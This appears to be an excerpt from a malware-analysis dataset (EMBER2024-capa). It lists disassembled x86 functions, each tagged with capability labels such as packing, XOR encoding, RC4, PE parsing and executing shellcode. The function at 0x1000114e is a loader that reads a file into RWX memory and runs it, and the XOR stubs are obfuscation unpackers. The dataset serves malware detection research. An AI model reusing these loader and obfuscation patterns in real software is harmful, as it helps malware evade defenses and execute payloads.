joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41db20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16000]
push edi
or ebp, 0xffffffff
jmp 0x41db42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41db49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41db38
mov eax, 1
add ebx, ebx
jne 0x41db5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41db50
jne 0x41db6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41db50
xor ecx, ecx
sub eax, 3
jb 0x41db80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41dbf2
mov ebp, eax
add ebx, ebx
jne 0x41db8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41db98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41dbbc
inc ecx
add ebx, ebx
jne 0x41dba8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41db9d
jne 0x41dbb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41db9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41dbdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41dbcd
jmp 0x41db3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41dbdc
add edi, ecx
jmp 0x41db3e
pop esi
mov edi, esi
mov ecx, 0x67
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41dbfa
cmp byte [edi], 2
jne 0x41dbfa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41dbff
lea edi, [esi + 0x1b000]
mov eax, dword [edi]
or eax, eax
je 0x41dc6e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1e438]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1e5c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41dc2c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1e5c8]
or eax, eax
je 0x41dc68
mov dword [ebx], eax
add ebx, 4
jmp 0x41dc49
call dword [esi + 0x1e5c4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41dc9f
cmp al, 0xef
ja 0x41dc92
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41dc74
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41dc81
mov ebp, dword [esi + 0x1e5cc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41dcd3
sub esp, 0xffffff80
jmp 0x401d4f
Function at 0x4067c4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4067e8
xor eax, eax
test eax, eax
je 0x4067fb
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4067fb
xor ecx, ecx
jmp 0x4067fe
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406927
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x40695e
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406938
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x406933
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40698f
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x406971
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x30d733c8
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x592f7727
nop
nop
nop
nop
nop
test eax, eax
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x408b10
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x409100
call fcn.00408e58
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x40c570
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x408938
cmp eax, esi
jne 0x40892b
xor esi, esi
inc esi
mov edi, esi
jmp 0x40893b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40890f
xor esi, esi
inc esi
cmp dword [0x40c574], esi
jne 0x40894d
push 0x1f
call fcn.00563000
pop ecx
jmp 0x408987
cmp dword [0x40c574], ebx
jne 0x408981
mov dword [0x40c574], esi
push 0x4010d4
push 0x4010c8
call fcn.00408a6c
pop ecx
pop ecx
test eax, eax
je 0x408987
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x408a5c
mov dword [0x40a024], esi
cmp dword [0x40c574], esi
jne 0x4089aa
push 0x4010c4
push 0x4010bc
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x40c574], 2
test edi, edi
jne 0x4089b7
xor eax, eax
mov ecx, 0x40c570
xchg dword [ecx], eax
cmp dword [0x40c578], 0
je 0x4089e3
push 0x40c578
call fcn.00408cb0
pop ecx
test eax, eax
je 0x4089e3
push ebx
push 2
push ebx
mov esi, dword [0x40c578]
mov ecx, esi
call dword [0x40d1d8]
call esi
push dword [0x40a030]
push dword [0x40a02c]
push dword [0x40a028]
call fcn.004017e0
add esp, 0xc
mov dword [0x40a020], eax
cmp dword [0x40a038], 0
jne 0x408a41
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x40a024], 0
jne 0x408a55
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x40a020]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00408da5
jmp 0x4088f3

Function at 0x408b94
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x409120
call fcn.00408e58
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x408bf4
cmp eax, 0xffffffff
je 0x408bf4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x408bed
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x408bed
cmp edx, 0x10000000
jae 0x408bed
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x408bea
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x408c60
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x408c9e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x408c96
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x408ca0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x408c86
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
nop
mov ecx, 0x571d0f05
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x2ca06955
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x8002450d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
mov ecx, 0x200
mov edi, 0xc0300000
rep stosd dword es:[edi], eax
xor ebx, ebx
mov dword [0xc0300ffc], ebx
mov eax, 0xf00000eb
mov ecx, 0xc0300f00
mov edx, 0x400000
mov dword [ecx], eax
add ecx, 4
add eax, edx
cmp ecx, 0xc0300f7c
jbe 0x80024539
and eax, 0xfe7
or eax, 0xf8000018
mov ecx, 0xc0300f80
mov dword [ecx], eax
add ecx, 4
add eax, edx
cmp ecx, 0xc0300ff8
jbe 0x80024557
push ebx
push 1
lea eax, [ebp - 1]
push eax
push 0x87
push ebx
push ebx
call sym.xboxkrnl.exe_Ordinal_46
movzx eax, byte [ebp - 1]
shl eax, 0xc
mov esi, 0xfff
add eax, esi
cmp eax, 0x4000
mov dword [0x8004a4cc], eax
jae 0x800245a7
mov dword [0x80045398], 0x8004a480
mov dword [0x8004539c], fcn.80027131
cmp byte [0x80046320], bl
jne 0x800245cc
test byte [0x80056ce8], 1
je 0x800245c5
call fcn.80071f04
cmp byte [0x80046320], bl
jne 0x800245cc
call fcn.80071f7a
jmp 0x800245d1
call fcn.8002742b
mov eax, dword [0x8004a4cc]
shl eax, 0xc
sub eax, 0x7ffff001
shr eax, 0x14
and eax, 0xffc
mov edi, 0xc0300800
sub eax, 0x3fd00000
cmp eax, edi
mov edx, 0x3ff0067
mov ecx, 0xc03008fc
jb 0x8002461d
mov ebx, edx
mov dword [edi], edx
and ebx, 0xfffff000
add ebx, 0x1000
and edx, esi
add edi, 4
xor edx, ebx
cmp edi, eax
jbe 0x800245fe
cmp edi, ecx
ja 0x80024627
sub ecx, edi
shr ecx, 2
inc ecx
xor eax, eax
rep stosd dword es:[edi], eax
call fcn.80020f24
call fcn.8001a264
push 8
push 0x80045370
call fcn.80027630
push 0x10
mov dword [0x8004a4f8], eax
call sym.xboxkrnl.exe_Ordinal_37
pop edi
pop esi
pop ebx
leave
ret

Function at 0x8002514d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
lea eax, [ebx + ebx*4]
push 0x41637346
shl eax, 2
push eax
call sym.xboxkrnl.exe_Ordinal_15
mov edi, eax
test edi, edi
mov dword [ebp + 8], edi
je 0x8002519a
push 0
mov eax, ebx
sub eax, dword [0x8004a4f4]
push 0x80027100
shl eax, 0xc
push eax
push 2
push 8
push 0x80045370
call fcn.8002635a
test eax, eax
jne 0x800251a4
push edi
call sym.xboxkrnl.exe_Ordinal_17
mov eax, 0xc000009a
jmp 0x8002523b
mov ecx, dword [0x8004a4f4]
lea ecx, [ecx + ecx*4]
shl ecx, 2
mov edx, ecx
shr ecx, 2
push esi
mov esi, dword [0x8004a4f0]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [0x8004a4f4]
cmp edx, ebx
jae 0x80025216
mov esi, dword [ebp + 8]
lea ecx, [edx + edx*4]
lea esi, [esi + ecx*4 + 8]
and dword [esi - 4], 0
mov ecx, eax
shr ecx, 0xa
and ecx, 0x3ffffc
mov dword [esi], eax
mov ecx, dword [ecx - 0x40000000]
shr ecx, 0xc
mov edi, edx
shl edi, 0x11
lea ecx, [ecx*4 - 0x7c010000]
xor edi, dword [ecx]
add eax, 0x1000
and edi, 0xffe0000
xor dword [ecx], edi
inc edx
add esi, 0x14
cmp edx, ebx
jb 0x800251d9
mov eax, dword [0x8004a4f0]
test eax, eax
pop esi
je 0x80025226
push eax
call sym.xboxkrnl.exe_Ordinal_17
mov eax, dword [ebp + 8]
mov dword [0x8004a4f0], eax
mov dword [0x8004a4f4], ebx
call fcn.800250f2
xor eax, eax
pop edi
pop ebx
pop ebp
ret 4
Function at 0x8002742b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
call sym.xboxkrnl.exe_Ordinal_129
mov bl, al
xor esi, esi
mov eax, dword [esi*4 - 0x7c010000]
test al, 1
je 0x8002744e
test ah, 4
je 0x8002745c
inc dword [0x8004a4c4]
jmp 0x80027465
test eax, 0x10000
je 0x8002745c
test eax, 0xf0000000
je 0x80027465
xor dl, dl
mov ecx, esi
call fcn.80026f21
inc esi
cmp esi, dword [0x8004a4cc]
jbe 0x80027436
pop esi
mov cl, bl
pop ebx
jmp sym.xboxkrnl.exe_Ordinal_161

Function at 0x800298ca
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
test ecx, ecx
je 0x80029906
cmp ecx, 0xffffffff
je 0x80029906
cmp word [ecx], 0x5a4d
jne 0x80029906
mov eax, dword [ecx + 0x3c]
mov edx, 0x7ffeffff
add eax, ecx
cmp ecx, edx
jae 0x800298fc
cmp eax, edx
jae 0x80029904
lea ecx, [eax + 0xf8]
cmp ecx, edx
jae 0x80029904
cmp dword [eax], 0x4550
je 0x80029906
xor eax, eax
ret 4

Function at 0x80029909
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 4]
movzx eax, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
movzx ecx, word [ecx + 6]
push esi
xor esi, esi
test ecx, ecx
push edi
jbe 0x8002993d
mov edx, dword [eax + 0xc]
cmp dword [esp + 0x14], edx
jb 0x80029935
mov edi, dword [eax + 0x10]
add edi, edx
cmp dword [esp + 0x14], edi
jb 0x8002993f
add eax, 0x28
inc esi
cmp esi, ecx
jb 0x80029921
xor eax, eax
pop edi
pop esi
ret 0xc
Function at 0x80030b24
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
push edi
jne 0x80030b3b
push 0x78
pop edi
mov eax, 0x63527446
jmp 0x80030b59
test byte [esi + 1], 0x10
movzx edi, byte [esi]
je 0x80030b4e
add edi, 0x78
mov eax, 0x63447446
jmp 0x80030b59
add edi, 0x140
mov eax, 0x63467446
push eax
push edi
call sym.xboxkrnl.exe_Ordinal_15
mov ebx, eax
test ebx, ebx
je 0x80030c85
mov ecx, edi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
and dword [ebx + 0x20], 0
test eax, eax
mov dword [ebx + 4], 1
mov dword [ebx + 0x1c], eax
je 0x80030b97
or dword [ebx + 0x28], 0xffffffff
test esi, esi
je 0x80030c30
mov al, byte [esi + 1]
mov byte [ebx + 3], al
mov eax, dword [esi + 0x30]
mov dword [ebx + 0x24], eax
mov eax, dword [esi + 0x3c]
mov dword [ebx + 0x40], eax
mov eax, dword [esi + 0x34]
mov dword [ebx + 0x3c], eax
lea eax, [esi + 0x38]
push eax
call fcn.80034647
test byte [ebx + 3], 0x10
mov dword [ebx + 0x34], eax
mov dword [ebx + 0x38], edx
je 0x80030bd4
or byte [ebx], 2
lea eax, [ebx + 0x78]
jmp 0x80030be3
lea eax, [ebx + 0x44]
push eax
call sym.xboxkrnl.exe_Ordinal_18
lea eax, [ebx + 0x140]
mov dword [ebx + 0x30], eax
mov al, byte [esi]
mov edi, dword [ebx + 0x30]
mov byte [ebx + 2], al
movzx ecx, byte [esi]
mov eax, ecx
shr ecx, 2
add esi, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx + 0x2c], eax
mov eax, dword [ebp + 8]
inc dword [eax + 4]
mov dword [ebx + 0x18], eax
mov cl, byte [eax + 1]
add cl, byte [ebx + 2]
inc cl
mov byte [ebx + 1], cl
add eax, 0x44
mov edx, dword [eax]
lea ecx, [ebx + 0x10]
mov dword [ecx], edx
mov dword [ebx + 0x14], eax
mov dword [edx + 4], ecx
mov dword [eax], ecx
jmp 0x80030c37
or byte [ebx], 6
mov byte [ebx + 3], 0x10
mov cl, byte [ebx]
and cl, 2
je 0x80030c4a
and dword [ebx + 0x4c], 0
lea eax, [ebx + 0x44]
mov dword [ebx + 0x48], eax
mov dword [eax], eax
test cl, cl
je 0x80030c58
mov byte [ebx + 0x5c], 1
mov byte [ebx + 0x54], 1
jmp 0x80030c81
xor ecx, ecx
lea eax, [ebx + 0x7c]
mov dl, cl
dec dl
mov byte [eax + 8], dl
mov dl, cl
inc dl
mov byte [eax], dl
inc ecx
add eax, 0x14
cmp ecx, 0xa
jb 0x80030c5d
and byte [ebx + 0x130], 0
mov byte [ebx + 0x84], 9
xor eax, eax
jmp 0x80030c8a
mov eax, 0xc000009a
mov ecx, dword [ebp + 0x18]
pop edi
pop esi
mov dword [ecx], ebx
pop ebx
pop ebp
ret 0x14
Function at 0x800311fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test byte [eax], 2
lea ecx, [eax + 0x50]
jne 0x8003120d
lea ecx, [eax + 0x78]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
push edi
mov dword [ebp - 4], ecx
mov edi, 0xfffffff
je 0x80031297
movzx eax, byte [eax + 0xf]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 4]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x80031297
mov edx, dword [eax + 8]
and edx, edi
add edx, ecx
cmp edx, esi
je 0x80031258
mov ecx, dword [ebp + 8]
movzx eax, byte [eax + 4]
movzx ecx, byte [ecx + 0xf]
cmp eax, ecx
mov dword [ebp + 0xc], eax
jne 0x80031229
jmp 0x80031297
mov ecx, dword [eax]
mov edx, dword [eax + 0x10]
and ecx, edi
add edx, ecx
cmp edx, dword [ebx]
jne 0x80031297
mov esi, dword [eax + 8]
mov dword [ebx], ecx
mov ecx, dword [eax + 0x10]
add dword [ebx + 4], ecx
mov ecx, dword [ebp + 8]
movzx ecx, byte [ecx + 0xf]
and esi, edi
cmp dword [ebp + 0xc], ecx
jne 0x80031289
mov al, byte [eax + 4]
mov ecx, dword [ebp + 8]
mov byte [ecx + 0xf], al
jmp 0x80031297
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.80030cf3
mov eax, dword [ebp + 0x14]
lea ecx, [ebx + eax*8 - 8]
mov eax, ecx
add esi, dword [eax + 4]
sub eax, 8
cmp eax, ebx
jae 0x800312a0
mov eax, dword [ebp + 8]
movzx eax, byte [eax + 0xf]
mov edx, dword [ebp - 4]
lea eax, [eax + eax*4]
lea eax, [edx + eax*4]
movzx edx, byte [eax + 0xc]
mov ebx, dword [ebp - 4]
sub esi, dword [ecx + 4]
lea eax, [edx + edx*4]
lea eax, [ebx + eax*4]
mov ebx, dword [eax]
xor ebx, dword [ecx]
sub ecx, 8
and ebx, edi
xor dword [eax], ebx
mov ebx, dword [eax + 8]
xor ebx, esi
and ebx, edi
xor dword [eax + 8], ebx
cmp ecx, dword [ebp + 0x10]
mov ebx, dword [ecx + 0xc]
mov dword [eax + 0x10], ebx
jae 0x800312ba
mov eax, dword [ebp + 8]
pop edi
pop esi
mov byte [eax + 0xf], dl
pop ebx
leave
ret 0x10

Function at 0x80039fdc
Capabilities:
Encode data using xor

Disassembly:
push 0x3f
pop eax
push esi
xor ecx, ecx
push edi
mov edx, dword [esp + 0xc]
shr edx, cl
xor edx, eax
shr eax, 1
and edx, 1
mov esi, eax
and esi, 0x10
mov edi, edx
shl edi, 4
xor esi, edi
and eax, 0xf
or esi, eax
shl edx, 5
or esi, edx
inc ecx
cmp ecx, 0xe
mov eax, esi
jb 0x80039fe3
shl eax, 0xe
or eax, dword [esp + 0xc]
pop edi
pop esi
ret 4
Function at 0x8003c8e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
xor edx, edx
xor ecx, ecx
push esi
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0xc]
push edi
mov edi, eax
mov ebx, dword [esp + 0x14]
push ebp
mov cl, byte [esi + 0x100]
mov ebp, ebx
mov dl, byte [esi + 0x101]
test ebx, ebx
je 0x8003ca1b
shr ebx, 2
and eax, 3
test ebx, ebx
je 0x8003c9f0
test eax, eax
jne 0x8003c9f0
mov eax, edi
lea edi, [edi + ebx*4]
mov dword [esp + 0x1c], edi
sub eax, 4
mov ebp, ebx
mov edi, dword [eax + 4]
inc ecx
xor eax, eax
and ecx, 0xff
mov al, byte [esi + ecx]
add edx, eax
and edx, 0xff
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
inc ecx
mov byte [esi + edx], al
add al, bl
mov al, byte [esi + eax]
xor edi, eax
and ecx, 0xff
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, 0xff
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
inc ecx
mov byte [esi + edx], al
add al, bl
mov al, byte [esi + eax]
shl eax, 8
xor edi, eax
and ecx, 0xff
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, 0xff
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
inc ecx
mov byte [esi + edx], al
add al, bl
mov al, byte [esi + eax]
shl eax, 0x10
xor edi, eax
and ecx, 0xff
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, 0xff
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov byte [esi + edx], al
add al, bl
mov al, byte [esi + eax]
shl eax, 0x18
lea ebx, [ebp*4]
xor edi, eax
mov eax, dword [esp + 0x1c]
sub eax, ebx
mov dword [eax], edi
dec ebp
jne 0x8003c930
mov ebp, dword [esp + 0x18]
and ebp, 3
test ebp, ebp
je 0x8003ca1b
lea edi, [eax + 4]
inc ecx
mov ebx, 0xff
and ecx, ebx
xor eax, eax
mov al, byte [esi + ecx]
add edx, eax
and edx, ebx
xor ebx, ebx
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov byte [esi + edx], al
add al, bl
mov bl, byte [edi]
mov al, byte [esi + eax]
xor bl, al
mov byte [edi], bl
inc edi
dec ebp
jne 0x8003c9f0
pop ebp
pop edi
lea eax, [esi + 0x100]
pop esi
mov byte [eax], cl
pop ebx
mov byte [eax + 1], dl
ret 0xc

Function at 0x8003cc80
Capabilities:
Hash data using sha1

Disassembly:
sub esp, 0x50
push ebx
push ebp
push esi
mov esi, dword [esp + 0x60]
mov edx, dword [esi + 0x30]
mov eax, edx
and eax, 0x3f
mov ebx, 0x40
sub ebx, eax
cmp ebx, 8
push edi
ja 0x8003cca2
add ebx, 0x40
lea ecx, [ebx - 6]
mov ebp, ecx
shr ecx, 2
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esi + 0x2c]
mov eax, edx
shl ecx, 3
shr eax, 0x1d
or ecx, eax
mov dword [esp + 0x10], ecx
lea ecx, [edx*8]
push 2
lea edx, [esp + 0x14]
push edx
lea eax, [esp + ebx + 0x18]
push eax
mov byte [esp + 0x24], 0x80
mov dword [esp + 0x20], ecx
call fcn.8003d8a0
push ebx
lea ecx, [esp + 0x1c]
push ecx
push esi
call fcn.8003cb60
mov edx, dword [esp + 0x68]
push 5
lea edi, [esi + 0x18]
push edi
push edx
call fcn.8003d8a0
xor eax, eax
mov dword [edi], 0x67452301
pop edi
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x1c], 0xefcdab89
mov dword [esi + 0x20], 0x98badcfe
mov dword [esi + 0x24], 0x10325476
mov dword [esi + 0x28], 0xc3d2e1f0
pop esi
pop ebp
pop ebx
add esp, 0x50
ret 8
Function at 0x80043f1e
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 0x220]
mov dword [eax + 0xb4], ecx
mov ecx, dword [edx + 0x224]
mov dword [eax + 0xb8], ecx
mov ecx, dword [edx + 0x228]
mov dword [eax + 0xbc], ecx
mov ecx, dword [edx + 0x22c]
mov dword [eax + 0xc0], ecx
mov ecx, dword [edx + 0x230]
mov dword [eax + 0xc4], ecx
mov ecx, dword [edx + 0x234]
and dword [eax + 0x8c], 0
mov dword [eax + 0xc8], ecx
push ebx
mov dword [eax + 0x90], 0x20
push esi
push edi
push 0x10
pop ecx
mov dword [eax + 0x94], ecx
mov dword [eax + 0x98], ecx
mov ecx, dword [edx + 0x208]
mov dword [eax + 0x9c], ecx
mov ecx, dword [edx + 0x20c]
mov dword [eax + 0xa0], ecx
mov ecx, dword [edx + 0x210]
mov dword [eax + 0xa4], ecx
mov ecx, dword [edx + 0x214]
mov dword [eax + 0xa8], ecx
mov ecx, dword [edx + 0x218]
mov dword [eax + 0xac], ecx
mov ecx, dword [edx + 0x21c]
mov dword [eax + 0xb0], ecx
lea ebx, [edx + 4]
lea edi, [eax + 0xcc]
mov ecx, 0x80
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
